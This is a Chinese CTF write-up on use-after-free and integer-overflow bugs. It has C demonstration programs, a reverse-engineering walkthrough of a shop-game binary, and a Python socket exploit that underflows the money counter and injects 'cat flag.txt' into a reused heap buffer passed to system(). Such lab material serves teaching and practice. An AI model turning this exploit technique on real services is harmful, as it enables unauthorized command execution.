未初始化漏洞(UAF)一般是指堆栈变量没有设置就使用导致,或者可能更多的是部分初始化导致。
释放后再用漏洞是堆上的数据被释放后,某个残留地址没清除再用导致。其实就是未初始化漏洞。
windows系统测试代码
#include
#include
int main(int argc, char * argv[])
{
char * buf1=(char*)malloc(2048);
printf("buf1 : 0x%08x\n",(int)buf1);
char * buf2=(char*)malloc(2048);
printf("buf2 : 0x%08x\n",(int)buf2);
free(buf2);
char * buf3=(char*)malloc(2048);
printf("buf3 : 0x%08x\n",(int)buf3);
return 0;
}
大家仔细观察代码,发现buf3和buf2的指针地址竟然一样。这个可是不同的内存申请,
虽然指针buf3是新分配的内存,但是我们发现指针与之前释放的buf2上面的内存地址一样。
地址是同一个地址,数据呢?由于没有对指针竟然释放后设置为NULL,同时也没有清理
内存的数据比如zeromemory,memset等。因此潜在的隐患就产生在此处内存区域。
linux系统测试代码
#include
#include
#include
int main(int argc, char *argv[])
{
char * buf1 = (char*) malloc(2048);
char * buf2 = (char*) malloc(2048);
char * buf3 = (char*) malloc(2048);
char * buf4 = (char*) malloc(2048);
char * buf5 = (char*) malloc(2048);
memcpy(buf3, "123456helloworld", strlen("123456helloworld"));
memcpy(buf5, "1234567890*1234567890*1234567890*",
strlen("1234567890*1234567890*1234567890*"));
printf("buf1 before : 0x%08x\n", (int) buf1);
printf("buf2 before : 0x%08x\n", (int) buf2);
printf("buf3 before : 0x%08x\n", (int) buf3);
printf("buf4 before : 0x%08x\n", (int) buf4);
printf("buf5 before : 0x%08x\n", (int) buf5);
printf("\n--------------------------------------------\n");
for (int i = 0; i < strlen("123456helloworld"); i++)
{
printf("%c ", (char) buf3[i]);
}
printf("\n");
for (int i = 0; i < strlen("123456helloworld"); i++)
{
printf("0x%02x ", (char) buf3[i]);
}
printf("\n---------------------------------------------\n");
free(buf3);
char * buf6 = (char*) malloc(2048);
printf("\n---------------------------------------------\n");
printf("buf3 after : 0x%08x\n", (int) buf3);
printf("\n");
for (int i = 0; i < strlen("123456helloworld"); i++)
{
printf("0x%02x ", (char) buf3[i]);
}
printf("\n---------------------------------------------\n");
printf("buf6 before : 0x%08x\n", (int) buf6);
printf("\n---------------------------------------------\n");
for (int i = 0; i < strlen("123456helloworld"); i++)
{
printf("%c ", (char) buf6[i]);
}
printf("\n");
for (int i = 0; i < strlen("123456helloworld"); i++)
{
printf("0x%02x ", (char) buf6[i]);
}
printf("\n---------------------------------------------\n");
free(buf5);
char * buf7 = (char*) malloc(2048);
printf("buf7 before : 0x%08x\n", (int) buf7);
memcpy(buf7, "hello", strlen("hello"));
free(buf7);
printf("buf7 after : 0x%08x\n", (int) buf7);
free(buf6);
printf("buf6 after : 0x%08x\n", (int) buf6);
return 0;
}
linux 32位系统gcc 编译后,运行的结果。
大家仔细观察代码,发现buf6和buf3的指针地址竟然一样。同样大家注意红色标记的
内存数据都一样。说明使用完之后,没有释放,形成当前看到的滞留缓存代码数据。
原理也同上面。
当应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,
而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如
内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲
内存量达到一定值时dlmalloc才将空闲内存释放会内核。如果应用程序申请的内存大于256kb,
dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存
大于256kb,dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为
这样的内存块太大了,最好不要长期占用这么大的内存资源。好的,理解了这个漏洞的出现原因,
那么我们来实战一道CTF题目。
题目下载链接
运行检测一下,发现32位。
运行第一部需要密码登录。
好的。进入逆向分析阶段IDA +F5 ,为了便于可读部分伪代码进行了
注释和函数变量重命名。我们先不着急进行程序的破解,先进行整体
的逻辑分析。查看此程序的大概功能是什么。
注意此处有大量分配内存函数。
此处注意有很多分支选项函数。
上面可以看的见,好像是一个买东西卖东西的小游戏。
其中蕴含的考点,暂时看不透。
先看看有什么关键函数或者字符之类的。
此处循环下面有个checkdollor函数。发现有system和puts函数。这两个函数很关键,
因为经常做逆向题目的都知道,这个是个系统命令执行函数,puts可以输出结果。
如果我们能够在此处执行命令应该就可以获取我们想要的结果,然后再看看此处
进入之后的执行条件。
1 login函数必须认证通过,否则返回。
2 比较条件 *V1==49 //0x31 "1"
3 美元的数量满足dollors >1000
4 执行的命令是commanda指针指向的内存区域代码。//commanda是command指针进行了后移10个字节。
那么我们先来一步一步解决
第一步 login函数:
此处代码可以看到成功登录的账号密码是rot和123456
第二步*V1==49
那么我们只需要到时候输入数据的时候,
记得command的内存区域第十个字符是1即可。
第三步dollors>1000
此处的这个dollors我们发现初始化的时候是15
那么我们看看这个dollors在那些地方被引用,被操作。
在这函数有运算,而且是dollors=dollors-3;
注意此处的数字比较小跟1000这个比起来很大。
所以通过前面的买卖实现数据运算。
买一个苹果需要3美金,卖一个收获2美金。
就是这样一个买卖游戏。
好好思考,前面曾经讲到过整数溢出的情况。
此处要实现大于15美金最后变成大于1000美金。
不依靠溢出漏洞,靠买卖只会越来越少,因为买花去的多,卖赚到的少。
经过思考得出一种解决方案(当然买卖有很多种情况都能实现溢出)
类似于汉诺塔一样,来回倒。
1 买上五次,手里dollors=0
2 但是苹果appleHave=5
3 然后我们再卖掉一个苹果
4 applecHave=4
5 dollors=2
6 最后我们在买一个苹果
7 dollors=2-3变成了-1由于是无符号整数,实现了溢出。
第四步 执行的命令是commanda
注意申请的内存数据变化
我们看到有内存的分配malloc函数。有一个leaveMessage函数,发现允许用户输入数据。
checkdollor函数里面包含有执行指令。想想刚才上面给大家讲的释放重引用漏洞,也就
是未初始化漏洞。我们可以在第一malloc函数内存区域写入特殊数据,到了第二个函数
checkdollor里面出现了二次分配引用,可以执行,从第十一字节开始。综合以上四步,
我们构思编写出对应的explicit程序。
exploit代码如下:
'''
Created on Nov 9, 2016
@author: 5t4rk
'''
#-*- coding: utf-8 -*-
import socket
import time
class pwn_exploit:
HOST='192.168.138.133'
PORT=12345
BUFSIZ=1024
ADDR=(HOST, PORT)
def __init__(self):
try:
self.client=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.client.connect(self.ADDR)
self.client.settimeout(3)
time.sleep(1)
recvData=self.client.recv(self.BUFSIZ)
print recvData.strip()
self.client.send("rot\n")
print "rot"
time.sleep(1)
recvData=self.client.recv(self.BUFSIZ)
print recvData.strip()
self.client.send("123456\n")
print "123456"
time.sleep(1)
recvData=self.client.recv(self.BUFSIZ)
print recvData.strip()
self.client.send("1\n")
print "1"
time.sleep(1)
recvData=self.client.recv(self.BUFSIZ)
print recvData.strip()
self.client.send("1\n")
print "1"
time.sleep(1)
recvData=self.client.recv(self.BUFSIZ)
print recvData.strip()
self.client.send("1\n")
print "1"
time.sleep(1)
recvData=self.client.recv(self.BUFSIZ)
print recvData.strip()
self.client.send("1\n")
print "1"
time.sleep(1)
recvData=self.client.recv(self.BUFSIZ)
print recvData.strip()
self.client.send("1\n")
print "1"
time.sleep(1)
recvData=self.client.recv(self.BUFSIZ)
print recvData.strip()
self.client.send("2\n")
print "2"
time.sleep(1)
recvData=self.client.recv(self.BUFSIZ)
print recvData.strip()
self.client.send("4\n")
print "4"
time.sleep(1)
recvData=self.client.recv(self.BUFSIZ)
print recvData.strip()
self.client.send("1"*11+"cat flag.txt\n")
print "1"*11+"cat flag.txt"
time.sleep(1)
recvData=self.client.recv(self.BUFSIZ)
print recvData.strip()
self.client.send("1\n")
print "1"
time.sleep(1)
recvData=self.client.recv(self.BUFSIZ)
print recvData.strip()
self.client.send("1"*10+"\n")
print "1"*10
time.sleep(1)
recvData=self.client.recv(self.BUFSIZ)
print recvData.strip()
except Exception:
print "except"
if __name__ == '__main__':
heart=pwn_exploit()
此题目主要考察了两个主要的漏洞:
UAF释放重引用漏洞和整数溢出漏洞。
flag{you_are_gr3at_for_g3tt1ng_flag}